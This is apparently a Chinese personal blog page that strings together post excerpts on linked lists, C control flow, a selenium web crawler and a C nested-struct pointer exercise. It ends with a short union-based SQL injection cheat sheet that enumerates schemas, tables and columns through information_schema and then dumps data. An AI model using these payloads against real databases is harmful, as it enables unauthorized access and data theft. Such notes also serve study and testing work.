Posted on Edited on

some Pointer and Struct practicing

链表由两部分组成，一部分是指针区，一部分是数据区，这里要说的是单链表，指针区仅仅只是下一个节点的地址，为了简化程序，数据区也只设置一个整型变量

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Posted on Edited on

if-else, while/for, switch-case

编译器：gcc (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609

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Posted on Edited on

一次爬虫的记录与分享

0x00准备

安装selenium库，使用urllib库，re库

0x01实现

selenium模拟登录

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#include <stdio.h>
struct first{
	char name[10];
};
struct second{
	struct first a;
	int x;
};
struct third{
	struct second b;
	struct first c;
	char y[5];
};


int main(){
	struct third d = {.b = {.x = 233,.a = {"huaji"}},
	.c = {"huaihuai"},"2333"};
	struct third * p;
	p = &d;
	printf("%s\n",p -> b.a.name);
	printf("%d\n",p -> b.x);
	printf("%s\n",p -> y);
	printf("%s\n",d.b.a.name);

	struct second * z;
	z = &d.b;
	printf("%s\n",z -> a.name);
	printf("%d\n",z -> x);

	struct first * m;
	m = &d.b.a;
	printf("%s\n",m -> name);
	return 0;
}

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id=? order by n
union select null,null,~,n

#find_schema:
union select 1,2,~,group_concat(schema_name),~,n from information_schema.schemata
#find_tables:
union select 1,2,~,group_concat(table_name),~,n from information_schema.tables where table_schema="~~"
#find_columns:
union select 1,2,~,group_concat(column_name),~,n from information_schema.columns where table_schema="~~" and table_name="~~"

#get data
union select 1,2,~,group_concat(column),~,n from schema.table